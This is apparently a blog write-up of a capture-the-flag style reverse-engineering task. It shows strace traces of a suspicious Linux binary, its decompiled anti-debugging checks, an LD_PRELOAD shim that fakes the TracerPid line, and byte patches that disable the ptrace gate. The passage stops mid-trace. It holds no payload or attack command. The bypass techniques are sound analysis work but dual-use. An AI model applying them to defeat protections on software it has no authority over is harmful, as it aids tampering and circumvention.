rt_sigaction(SIGSEGV, {sa_handler=0x55eb9d2dc3f0, sa_mask=[], sa_flags=SA_RESTORER, sa_restorer=0x7fe8a68b40b0}, {sa_handler=SIG_DFL, sa_mask=[], sa_flags=0}, 8) = 0
--- SIGSEGV {si_signo=SIGSEGV, si_code=SEGV_MAPERR, si_addr=NULL} ---
rt_sigaction(SIGSEGV, {sa_handler=SIG_DFL, sa_mask=[], sa_flags=SA_RESTORER, sa_restorer=0x7fe8a68b40b0}, NULL, 8) = 0
brk(NULL)                               = 0x55ebc4365000
brk(0x55ebc4386000)                     = 0x55ebc4386000
clock_gettime(CLOCK_PROCESS_CPUTIME_ID, {tv_sec=0, tv_nsec=706590}) = 0
openat(AT_FDCWD, "/proc/self/status", O_RDONLY) = 3
fstat(3, {st_mode=S_IFREG|0444, st_size=0, ...}) = 0
read(3, "Name:\tsuspicious\nUmask:\t0022\nSta"..., 1024) = 1024
lseek(3, 0, SEEK_CUR)                   = 1024
lseek(3, 112, SEEK_SET)                 = 112
close(3)                                = 0
munmap(0x6464697267206f74, 0)           = -1 EINVAL (Invalid argument)
exit_group(1)                           = ?
+++ exited with 1 +++

Woahhh that’s a LOT going on for a silent program. Some things stood out to me:

  1. execve("./suspicious", ["./suspicious"], 0x7ffc04940180 /* 93 vars */) = 0 …93 environment variables?
  2. It caught its own segmentation fault…? (line 40)
  3. Why is it reading itself? (line 45)
  4. Reading itself is the last real thing the program does before it exits with a non-success error code of 1.
  5. \177ELF is a magic header indicating an executable binary. Line 18 is supposedly reading 832 bytes of one.

At least this binary is real and runs, so let’s throw it into IDA and see what it has to say. Opened in IDA

Reading through the main function, though, is dizzying… hundreds of variables all performing various arithmetic and reassignment operations on each other. It’s absolutely unreadable.

Instead, let’s follow the strace logs and see if that gets us anywhere. I saw hardcoded strings of "/etc/ld.so.preload", "/proc/self/status", and that ELF (Executable and Linkable Format) file.

Luckily IDA has a strings view which also shows where each string is used.

IDA Strings View

Found the string plus what I think are other useful strings.

IDA Strings References

Found a reference to it.

if ( !(unsigned int)sub_56A0(&stream, "r", "/proc/self/status") )
  {
    while ( getline(&haystack, &n, stream) != -1 )
    {
      v0 = haystack;
      if ( strstr(haystack, "TracerPid") )
      {
        if ( strtok(v0, delim) )
        {
          v4 = strtok(0, delim);
          if ( v4 )
          {
            v1 = haystack;
            v2 = *v4 != 48;
            goto LABEL_6;
          }
        }
        break;
      }
    }
  }
  v1 = haystack;
  v2 = 1;
LABEL_6:
  if ( v1 )
    free(v1);
  if ( stream )
    fclose(stream);
  return v2;
}

Hmmm… seems like it’s opening itself to find a substring called TracerPid. And if it’s found, it goes to LABEL_6, which is just a cleanup and return function. It looks like this program is capable of understanding that it’s being watched via strace and alters its behavior based on that. That is insanely interesting. The next step here is to see if I get past this gate.

Turns out there’s a very cool way to do this. It’s called the LD_PRELOAD system. Effectively, I can write C code which intercepts system calls and overrides them! Aka I can snag any calls made to getline() and force a custom response if it’s being used to check TracerPid! Check out the code:

#define _GNU_SOURCE
#include <dlfcn.h>
#include <stdio.h>
#include <string.h>

typedef ssize_t (*getline_t)(char **, size_t *, FILE *);

ssize_t getline(char **lineptr, size_t *n, FILE *stream) {
	static getline_t real_getline = NULL;

	if( !real_getline ) {
		real_getline = ( getline_t ) dlsym( RTLD_NEXT, "getline" );
	}

	ssize_t ret = real_getline( lineptr, n, stream );

	if( ret > 0 && *lineptr ) {
		if( strncmp( *lineptr, "TracerPid:", 10 ) == 0 ) {
			snprintf( *lineptr, *n, "TracerPid:\t0\n" );
		}
	}

	return ret;
}

Compile:

gcc -shared -fPIC preload.c -o preload.so -ldl

Run:

$ LD_PRELOAD=./preload.so strace ./suspicious 
execve("./suspicious", ["./suspicious"], 0x7ffdf8fa3560 /* 94 vars */) = 0
brk(NULL)                               = 0x55d46f725000
openat(AT_FDCWD, "./preload.so", O_RDONLY|O_CLOEXEC) = 3
read(3, "\177ELF\2\1\1\0\0\0\0\0\0\0\0\0\3\0>\0\1\0\0\0\0\0\0\0\0\0\0\0"..., 832) = 832
fstat(3, {st_mode=S_IFREG|0755, st_size=11848, ...}) = 0
mmap(NULL, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7f3164464000
getcwd("/home/sean/Desktop/Projects/Codebreaker-2025/Codebreaker-2025/Task4/ida", 128) = 72
mmap(NULL, 12336, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0x7f3164460000
mmap(0x7f3164461000, 4096, PROT_READ, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x1000) = 0x7f3164461000
mmap(0x7f3164462000, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x1000) = 0x7f3164462000
close(3)                                = 0
access("/etc/ld.so.preload", R_OK)      = -1 ENOENT (No such file or directory)
openat(AT_FDCWD, "/etc/ld.so.cache", O_RDONLY|O_CLOEXEC) = 3
fstat(3, {st_mode=S_IFREG|0644, st_size=139691, ...}) = 0
mmap(NULL, 139691, PROT_READ, MAP_PRIVATE, 3, 0) = 0x7f316443d000
close(3)                                = 0
openat(AT_FDCWD, "/lib64/libm.so.6", O_RDONLY|O_CLOEXEC) = 3
read(3, "\177ELF\2\1\1\3\0\0\0\0\0\0\0\0\3\0>\0\1\0\0\0\0\0\0\0\0\0\0\0"..., 832) = 832
fstat(3, {st_mode=S_IFREG|0755, st_size=1153848, ...}) = 0
mmap(NULL, 1138704, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0x7f3164326000
mmap(0x7f31643b5000, 548864, PROT_READ, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x8f000) = 0x7f31643b5000
mmap(0x7f316443b000, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x114000) = 0x7f316443b000
close(3)                                = 0
openat(AT_FDCWD, "/lib64/libc.so.6", O_RDONLY|O_CLOEXEC) = 3
read(3, "\177ELF\2\1\1\3\0\0\0\0\0\0\0\0\3\0>\0\1\0\0\0\2408\0\0\0\0\0\0"..., 832) = 832
pread64(3, "\6\0\0\0\4\0\0\0@\0\0\0\0\0\0\0@\0\0\0\0\0\0\0@\0\0\0\0\0\0\0"..., 784, 64) = 784
fstat(3, {st_mode=S_IFREG|0755, st_size=2482096, ...}) = 0
pread64(3, "\6\0\0\0\4\0\0\0@\0\0\0\0\0\0\0@\0\0\0\0\0\0\0@\0\0\0\0\0\0\0"..., 784, 64) = 784
mmap(NULL, 2067312, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0x7f316412d000
mmap(0x7f316429f000, 495616, PROT_READ, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x172000) = 0x7f316429f000
mmap(0x7f3164318000, 24576, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x1eb000) = 0x7f3164318000
mmap(0x7f316431e000, 31600, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x7f316431e000
close(3)                                = 0
mmap(NULL, 12288, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7f316412a000
arch_prctl(ARCH_SET_FS, 0x7f316412a740) = 0
set_tid_address(0x7f316412ad68)         = 545081
set_robust_list(0x7f316412aa20, 24)     = 0
rseq({cpu_id_start=0, cpu_id=RSEQ_CPU_ID_UNINITIALIZED, rseq_cs=NULL, flags=0, node_id=0, mm_cid=0, slice_ctrl={request=0, granted=0, __reserved=0}, __reserved=0}, 33, 0, 0x53053053) = 0
mprotect(0x7f3164318000, 16384, PROT_READ) = 0
mprotect(0x7f316443b000, 4096, PROT_READ) = 0
mprotect(0x7f3164462000, 4096, PROT_READ) = 0
mprotect(0x55d453b58000, 4096, PROT_READ) = 0
mprotect(0x7f31644a4000, 8192, PROT_READ) = 0
prlimit64(0, RLIMIT_STACK, NULL, {rlim_cur=8192*1024, rlim_max=RLIM64_INFINITY}) = 0
getrandom("\xba\x69\xcc\xfa\x1c\x08\x32\x80", 8, GRND_NONBLOCK) = 8
munmap(0x7f316443d000, 139691)          = 0
rt_sigaction(SIGSEGV, {sa_handler=0x55d453b393f0, sa_mask=[], sa_flags=SA_RESTORER, sa_restorer=0x7f31641470b0}, {sa_handler=SIG_DFL, sa_mask=[], sa_flags=0}, 8) = 0
--- SIGSEGV {si_signo=SIGSEGV, si_code=SEGV_MAPERR, si_addr=NULL} ---
rt_sigaction(SIGSEGV, {sa_handler=SIG_DFL, sa_mask=[], sa_flags=SA_RESTORER, sa_restorer=0x7f31641470b0}, NULL, 8) = 0
brk(NULL)                               = 0x55d46f725000
brk(0x55d46f746000)                     = 0x55d46f746000
clock_gettime(CLOCK_PROCESS_CPUTIME_ID, {tv_sec=0, tv_nsec=865451}) = 0
openat(AT_FDCWD, "/proc/self/status", O_RDONLY) = 3
fstat(3, {st_mode=S_IFREG|0444, st_size=0, ...}) = 0
read(3, "Name:\tsuspicious\nUmask:\t0022\nSta"..., 1024) = 1024
lseek(3, 0, SEEK_CUR)                   = 1024
lseek(3, 112, SEEK_SET)                 = 112
close(3)                                = 0
openat(AT_FDCWD, "./suspicious", O_RDONLY) = 3
fstat(3, {st_mode=S_IFREG|0755, st_size=160792, ...}) = 0
fstat(3, {st_mode=S_IFREG|0755, st_size=160792, ...}) = 0
lseek(3, 159744, SEEK_SET)              = 159744
read(3, "\0\0\0\0\0\0\0\0\20\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\257\0\0\0\1\0\0\0"..., 1048) = 1048
lseek(3, 0, SEEK_SET)                   = 0
mmap(NULL, 163840, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7f3164102000
read(3, "\177ELF\2\1\1\0\0\0\0\0\0\0\0\0\3\0>\0\1\0\0\0\2602\0\0\0\0\0\0"..., 159744) = 159744
read(3, "\0\0\0\0\0\0\0\0\20\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\257\0\0\0\1\0\0\0"..., 4096) = 1048
mmap(NULL, 156, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7f316445f000
mprotect(0x7f316445f000, 156, PROT_READ|PROT_EXEC) = 0
munmap(0x7f3164102000, 163840)          = 0
close(3)                                = 0
clock_gettime(CLOCK_PROCESS_CPUTIME_ID, {tv_sec=0, tv_nsec=1160701}) = 0
openat(AT_FDCWD, "./suspicious", O_RDONLY) = 3
fstat(3, {st_mode=S_IFREG|0755, st_size=160792, ...}) = 0
fstat(3, {st_mode=S_IFREG|0755, st_size=160792, ...}) = 0
lseek(3, 159744, SEEK_SET)              = 159744
read(3, "\0\0\0\0\0\0\0\0\20\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\257\0\0\0\1\0\0\0"..., 1048) = 1048
lseek(3, 0, SEEK_SET)                   = 0
brk(0x55d46f76e000)                     = 0x55d46f76e000
read(3, "\177ELF\2\1\1\0\0\0\0\0\0\0\0\0\3\0>\0\1\0\0\0\2602\0\0\0\0\0\0"..., 159744) = 159744
read(3, "\0\0\0\0\0\0\0\0\20\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\257\0\0\0\1\0\0\0"..., 4096) = 1048
close(3)                                = 0
openat(AT_FDCWD, "./suspicious", O_RDONLY) = 3
fstat(3, {st_mode=S_IFREG|0755, st_size=160792, ...}) = 0
fstat(3, {st_mode=S_IFREG|0755, st_size=160792, ...}) = 0
lseek(3, 159744, SEEK_SET)              = 159744
read(3, "\0\0\0\0\0\0\0\0\20\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\257\0\0\0\1\0\0\0"..., 1048) = 1048
lseek(3, 0, SEEK_SET)                   = 0
brk(0x55d46f79a000)                     = 0x55d46f79a000
read(3, "\177ELF\2\1\1\0\0\0\0\0\0\0\0\0\3\0>\0\1\0\0\0\2602\0\0\0\0\0\0"..., 159744) = 159744
read(3, "\0\0\0\0\0\0\0\0\20\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\257\0\0\0\1\0\0\0"..., 4096) = 1048
close(3)                                = 0
ptrace(PTRACE_TRACEME)                  = -1 EPERM (Operation not permitted)
munmap(0x7f316445f000, 156)             = 0
brk(0x55d46f748000)                     = 0x55d46f748000
exit_group(1)                           = ?
+++ exited with 1 +++

Wow… instead of exiting at line 53, the code exits at line 98. We have successfully gotten past the trace gate and have more to work with.

Also, line 67 shows this:

read(3, "\177ELF\2\1\1\0\0\0\0\0\0\0\0\0\3\0>\0\1\0\0\0\2602\0\0\0\0\0\0"..., 159744) = 159744

Some new observations:

  1. A new ELF of 15.9 KB? That’s definitely something which can do some damage.
  2. clock_gettime? What’s this doing here on line 73?
  3. The malware exits because of another trace-checking gate at line 94.

I think I should just patch the binary at this point.

The final checks are here:

while ( getline(&haystack, &n, stream) != -1 ) {
	v0 = haystack;
	if ( strstr(haystack, "TracerPid") ) {
		if ( strtok(v0, delim) ) {
			v4 = strtok(0, delim);
			if ( v4 ) {
				v1 = haystack;
				v2 = *v4 != 48;
				goto LABEL_6;
			}
		}
		break;
	}
}

That last if maps to:

xor     ebx, ebx
cmp     byte ptr [rax], 30h ; '0'
mov     rdi, [rsp+58h+haystack]
setnz   bl
jmp     short loc_351D
SETNE/SETNZ - Set if Not Equal / Set if Not Zero (386+)

        Usage:  SETNE   dest
                SETNZ   dest
        Modifies flags: none

        Sets the byte in the operand to 1 if the Zero Flag is clear,
        otherwise sets the operand to 0.

                                 Clocks                 Size
        Operands         808x  286   386   486          Bytes

        reg8              -     -     4     3             3
        mem8              -     -     5     4             3

Source

xor     bl, bl

This should effectively neutralize whatever setnz does, as xor of any value with itself is always zero.

Original:
0F 95 C3 EB 92 E8 80 EE FF FF F3 0F 1E FA 48 83

Patched:
30 DB 90 EB 92 E8 80 EE FF FF F3 0F 1E FA 48 83

Patch Popup

Done: Patch Output

New strace:

$ strace ./suspicious 
execve("./suspicious", ["./suspicious"], 0x7ffd8569c240 /* 93 vars */) = 0
brk(NULL)                               = 0x55b041c1b000
access("/etc/ld.so.preload", R_OK)      = -1 ENOENT (No such file or directory)
openat(AT_FDCWD, "/etc/ld.so.cache", O_RDONLY|O_CLOEXEC) = 3
fstat(3, {st_mode=S_IFREG|0644, st_size=139691, ...}) = 0
mmap(NULL, 139691, PROT_READ, MAP_PRIVATE, 3, 0) = 0x7f1a9bf05000
close(3)                                = 0
openat(AT_FDCWD, "/lib64/libm.so.6", O_RDONLY|O_CLOEXEC) = 3
read(3, "\177ELF\2\1\1\3\0\0\0\0\0\0\0\0\3\0>\0\1\0\0\0\0\0\0\0\0\0\0\0"..., 832) = 832
fstat(3, {st_mode=S_IFREG|0755, st_size=1153848, ...}) = 0
mmap(NULL, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7f1a9bf03000
mmap(NULL, 1138704, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0x7f1a9bdec000
mmap(0x7f1a9be7b000, 548864, PROT_READ, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x8f000) = 0x7f1a9be7b000
mmap(0x7f1a9bf01000, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x114000) = 0x7f1a9bf01000
close(3)                                = 0
openat(AT_FDCWD, "/lib64/libc.so.6", O_RDONLY|O_CLOEXEC) = 3
read(3, "\177ELF\2\1\1\3\0\0\0\0\0\0\0\0\3\0>\0\1\0\0\0\2408\0\0\0\0\0\0"..., 832) = 832
pread64(3, "\6\0\0\0\4\0\0\0@\0\0\0\0\0\0\0@\0\0\0\0\0\0\0@\0\0\0\0\0\0\0"..., 784, 64) = 784
fstat(3, {st_mode=S_IFREG|0755, st_size=2482096, ...}) = 0
pread64(3, "\6\0\0\0\4\0\0\0@\0\0\0\0\0\0\0@\0\0\0\0\0\0\0@\0\0\0\0\0\0\0"..., 784, 64) = 784
mmap(NULL, 2067312, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0x7f1a9bbf3000
mmap(0x7f1a9bd65000, 495616, PROT_READ, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x172000) = 0x7f1a9bd65000
mmap(0x7f1a9bdde000, 24576, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x1eb000) = 0x7f1a9bdde000
mmap(0x7f1a9bde4000, 31600, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x7f1a9bde4000
close(3)                                = 0
mmap(NULL, 12288, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7f1a9bbf0000
arch_prctl(ARCH_SET_FS, 0x7f1a9bbf0740) = 0
set_tid_address(0x7f1a9bbf0d68)         = 553709
set_robust_list(0x7f1a9bbf0a20, 24)     = 0
rseq({cpu_id_start=0, cpu_id=RSEQ_CPU_ID_UNINITIALIZED, rseq_cs=NULL, flags=0, node_id=0, mm_cid=0, slice_ctrl={request=0, granted=0, __reserved=0}, __reserved=0}, 33, 0, 0x53053053) = 0
mprotect(0x7f1a9bdde000, 16384, PROT_READ) = 0
mprotect(0x7f1a9bf01000, 4096, PROT_READ) = 0
mprotect(0x55b010035000, 4096, PROT_READ) = 0
mprotect(0x7f1a9bf66000, 8192, PROT_READ) = 0
prlimit64(0, RLIMIT_STACK, NULL, {rlim_cur=8192*1024, rlim_max=RLIM64_INFINITY}) = 0
getrandom("\x07\xc7\x48\x5e\xa5\x8e\x03\x05", 8, GRND_NONBLOCK) = 8
munmap(0x7f1a9bf05000, 139691)          = 0
rt_sigaction(SIGSEGV, {sa_handler=0x55b0100163f0, sa_mask=[], sa_flags=SA_RESTORER, sa_restorer=0x7f1a9bc0d0b0}, {sa_handler=SIG_DFL, sa_mask=[], sa_flags=0}, 8) = 0
--- SIGSEGV {si_signo=SIGSEGV, si_code=SEGV_MAPERR, si_addr=NULL} ---
rt_sigaction(SIGSEGV, {sa_handler=SIG_DFL, sa_mask=[], sa_flags=SA_RESTORER, sa_restorer=0x7f1a9bc0d0b0}, NULL, 8) = 0
brk(NULL)                               = 0x55b041c1b000
brk(0x55b041c3c000)                     = 0x55b041c3c000
clock_gettime(CLOCK_PROCESS_CPUTIME_ID, {tv_sec=0, tv_nsec=780480}) = 0
openat(AT_FDCWD, "/proc/self/status", O_RDONLY) = 3
fstat(3, {st_mode=S_IFREG|0444, st_size=0, ...}) = 0
read(3, "Name:\tsuspicious\nUmask:\t0022\nSta"..., 1024) = 1024
lseek(3, 0, SEEK_CUR)                   = 1024
lseek(3, 112, SEEK_SET)                 = 112
close(3)                                = 0
openat(AT_FDCWD, "./suspicious", O_RDONLY) = 3
fstat(3, {st_mode=S_IFREG|0755, st_size=160792, ...}) = 0
fstat(3, {st_mode=S_IFREG|0755, st_size=160792, ...}) = 0
lseek(3, 159744, SEEK_SET)              = 159744
read(3, "\0\0\0\0\0\0\0\0\20\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\257\0\0\0\1\0\0\0"..., 1048) = 1048
lseek(3, 0, SEEK_SET)                   = 0
mmap(NULL, 163840, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7f1a9bbc8000
read(3, "\177ELF\2\1\1\0\0\0\0\0\0\0\0\0\3\0>\0\1\0\0\0\2602\0\0\0\0\0\0"..., 159744) = 159744
read(3, "\0\0\0\0\0\0\0\0\20\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\257\0\0\0\1\0\0\0"..., 4096) = 1048
mmap(NULL, 156, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7f1a9bf27000
mprotect(0x7f1a9bf27000, 156, PROT_READ|PROT_EXEC) = 0
munmap(0x7f1a9bbc8000, 163840)          = 0
close(3)                                = 0
clock_gettime(CLOCK_PROCESS_CPUTIME_ID, {tv_sec=0, tv_nsec=1073060}) = 0
openat(AT_FDCWD, "./suspicious", O_RDONLY) = 3
fstat(3, {st_mode=S_IFREG|0755, st_size=160792, ...}) = 0
fstat(3, {st_mode=S_IFREG|0755, st_size=160792, ...}) = 0
lseek(3, 159744, SEEK_SET)              = 159744
read(3, "\0\0\0\0\0\0\0\0\20\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\257\0\0\0\1\0\0\0"..., 1048) = 1048
lseek(3, 0, SEEK_SET)                   = 0
brk(0x55b041c64000)                     = 0x55b041c64000
read(3, "\177ELF\2\1\1\0\0\0\0\0\0\0\0\0\3\0>\0\1\0\0\0\2602\0\0\0\0\0\0"..., 159744) = 159744
read(3, "\0\0\0\0\0\0\0\0\20\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\257\0\0\0\1\0\0\0"..., 4096) = 1048
close(3)                                = 0
openat(AT_FDCWD, "./suspicious", O_RDONLY) = 3
fstat(3, {st_mode=S_IFREG|0755, st_size=160792, ...}) = 0
fstat(3, {st_mode=S_IFREG|0755, st_size=160792, ...}) = 0
lseek(3, 159744, SEEK_SET)              = 159744
read(3, "\0\0\0\0\0\0\0\0\20\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\257\0\0\0\1\0\0\0"..., 1048) = 1048
lseek(3, 0, SEEK_SET)                   = 0
brk(0x55b041c90000)                     = 0x55b041c90000
read(3, "\177ELF\2\1\1\0\0\0\0\0\0\0\0\0\3\0>\0\1\0\0\0\2602\0\0\0\0\0\0"..., 159744) = 159744
read(3, "\0\0\0\0\0\0\0\0\20\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\257\0\0\0\1\0\0\0"..., 4096) = 1048
close(3)                                = 0
ptrace(PTRACE_TRACEME)                  = -1 EPERM (Operation not permitted)
munmap(0x7f1a9bf27000, 156)             = 0
brk(0x55b041c3e000)                     = 0x55b041c3e000
exit_group(1)                           = ?
+++ exited with 1 +++

Notice how we can get so much further in on a normal strace run instead of being booted early. This means the patch worked.

Looking at the end:

ptrace(PTRACE_TRACEME)                  = -1 EPERM (Operation not permitted)
...
exit_group(1)

This is the second gate: the binary calls ptrace(PTRACE_TRACEME) on itself. If no debugger is attached, PTRACE_TRACEME succeeds (returns 0). If a debugger is already tracing the process, it fails with EPERM. This binary detects that and exits. Crazy engineering.

This is a function being called externally, so it should be under the Imports tab in IDA. Sure enough, I find it there:

ADDRESS                 NAME                    LIBRARY
0000000000027B38		ptrace@@GLIBC_2.2.5	    .dynsym

Found its usage: ptrace Tree in IDA

In more readable C:

__int64 sub_3590()
{
  __int64 result; // rax

  if ( ptrace(PTRACE_TRACEME, 0, 1, 0) != -1 || (result = (unsigned int)*__errno_location(), (_DWORD)result != 1) )
  {
    ptrace(PTRACE_DETACH, 0, 1, 0);
    return 0;
  }
  return result;
}

jnz means Jump if Not Zero, and it’s currently doing jnz short loc_35BC, meaning it jumps if the comparison to -1 failed.

Let’s just make it an unconditional jmp instead.

Original bytes:
75 0C E8 DB ED FF FF 8B 00 83 F8 01 74 17 31 C9

Patched bytes:
EB 0C E8 DB ED FF FF 8B 00 83 F8 01 74 17 31 C9

Patch 2 Success

Aw yeah it’s a direct jump now.

$ strace ./suspicious 
execve("./suspicious", ["./suspicious"], 0x7ffe7bd1ad90 /* 93 vars */) = 0
brk(NULL)                               = 0x556619905000
access("/etc/ld.so.preload", R_OK)      = -1 ENOENT (No such file or directory)
openat(AT_FDCWD, "/etc/ld.so.cache", O_RDONLY|O_CLOEXEC) = 3
fstat(3, {st_mode=S_IFREG|0644, st_size=139691, ...}) = 0
mmap(NULL, 139691, PROT_READ, MAP_PRIVATE, 3, 0) = 0x7f5c754fc000
close(3)                                = 0
openat(AT_FDCWD, "/lib64/libm.so.6", O_RDONLY|O_CLOEXEC) = 3
read(3, "\177ELF\2\1\1\3\0\0\0\0\0\0\0\0\3\0>\0\1\0\0\0\0\0\0\0\0\0\0\0"..., 832) = 832
fstat(3, {st_mode=S_IFREG|0755, st_size=1153848, ...}) = 0
mmap(NULL, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7f5c754fa000
mmap(NULL, 1138704, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0x7f5c753e3000
mmap(0x7f5c75472000, 548864, PROT_READ, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x8f000) = 0x7f5c75472000
mmap(0x7f5c754f8000, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x114000) = 0x7f5c754f8000
close(3)                                = 0
openat(AT_FDCWD, "/lib64/libc.so.6", O_RDONLY|O_CLOEXEC) = 3
read(3, "\177ELF\2\1\1\3\0\0\0\0\0\0\0\0\3\0>\0\1\0\0\0\2408\0\0\0\0\0\0"..., 832) = 832
pread64(3, "\6\0\0\0\4\0\0\0@\0\0\0\0\0\0\0@\0\0\0\0\0\0\0@\0\0\0\0\0\0\0"..., 784, 64) = 784
fstat(3, {st_mode=S_IFREG|0755, st_size=2482096, ...}) = 0
pread64(3, "\6\0\0\0\4\0\0\0@\0\0\0\0\0\0\0@\0\0\0\0\0\0\0@\0\0\0\0\0\0\0"..., 784, 64) = 784
mmap(NULL, 2067312, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0x7f5c751ea000
mmap(0x7f5c7535c000, 495616, PROT_READ, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x172000) = 0x7f5c7535c000
mmap(0x7f5c753d5000, 24576, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x1eb000) = 0x7f5c753d5000
mmap(0x7f5c753db000, 31600, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x7f5c753db000
close(3)                                = 0
mmap(NULL, 12288, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7f5c751e7000
arch_prctl(ARCH_SET_FS, 0x7f5c751e7740) = 0
set_tid_address(0x7f5c751e7d68)         = 559117
set_robust_list(0x7f5c751e7a20, 24)     = 0
rseq({cpu_id_start=0, cpu_id=RSEQ_CPU_ID_UNINITIALIZED, rseq_cs=NULL, flags=0, node_id=0, mm_cid=0, slice_ctrl={request=0, granted=0, __reserved=0}, __reserved=0}, 33, 0, 0x53053053) = 0
mprotect(0x7f5c753d5000, 16384, PROT_READ) = 0
mprotect(0x7f5c754f8000, 4096, PROT_READ) = 0
mprotect(0x5565df27b000, 4096, PROT_READ) = 0
mprotect(0x7f5c7555d000, 8192, PROT_READ) = 0
prlimit64(0, RLIMIT_STACK, NULL, {rlim_cur=8192*1024, rlim_max=RLIM64_INFINITY}) = 0
getrandom("\x17\xe1\xc7\x0a\x13\x8c\x21\x62", 8, GRND_NONBLOCK) = 8
munmap(0x7f5c754fc000, 139691)          = 0
rt_sigaction(SIGSEGV, {sa_handler=0x5565df25c3f0, sa_mask=[], sa_flags=SA_RESTORER, sa_restorer=0x7f5c752040b0}, {sa_handler=SIG_DFL, sa_mask=[], sa_flags=0}, 8) = 0
--- SIGSEGV {si_signo=SIGSEGV, si_code=SEGV_MAPERR, si_addr=NULL} ---
rt_sigaction(SIGSEGV, {sa_handler=SIG_DFL, sa_mask=[], sa_flags=SA_RESTORER, sa_restorer=0x7f5c752040b0}, NULL, 8) = 0
brk(NULL)                               = 0x556619905000
brk(0x556619926000)                     = 0x556619926000
clock_gettime(CLOCK_PROCESS_CPUTIME_ID, {tv_sec=0, tv_nsec=762121}) = 0
openat(AT_FDCWD, "/proc/self/status", O_RDONLY) = 3
fstat(3, {st_mode=S_IFREG|0444, st_size=0, ...}) = 0
read(3, "Name:\tsuspicious\nUmask:\t0022\nSta"..., 1024) = 1024
lseek(3, 0, SEEK_CUR)                   = 1024
lseek(3, 112, SEEK_SET)                 = 112
close(3)                                = 0
openat(AT_FDCWD, "./suspicious", O_RDONLY) = 3
fstat(3, {st_mode=S_IFREG|0755, st_size=160792, ...}) = 0
fstat(3, {st_mode=S_IFREG|0755, st_size=160792, ...}) = 0
lseek(3, 159744, SEEK_SET)              = 159744
read(3, "\0\0\0\0\0\0\0\0\20\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\257\0\0\0\1\0\0\0"..., 1048) = 1048
lseek(3, 0, SEEK_SET)                   = 0
mmap(NULL, 163840, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7f5c751bf000
read(3, "\177ELF\2\1\1\0\0\0\0\0\0\0\0\0\3\0>\0\1\0\0\0\2602\0\0\0\0\0\0"..., 159744) = 159744
read(3, "\0\0\0\0\0\0\0\0\20\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\257\0\0\0\1\0\0\0"..., 4096) = 1048
mmap(NULL, 156, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7f5c7551e000
mprotect(0x7f5c7551e000, 156, PROT_READ|PROT_EXEC) = 0
munmap(0x7f5c751bf000, 163840)          = 0
close(3)                                = 0
clock_gettime(CLOCK_PROCESS_CPUTIME_ID, {tv_sec=0, tv_nsec=1046341}) = 0
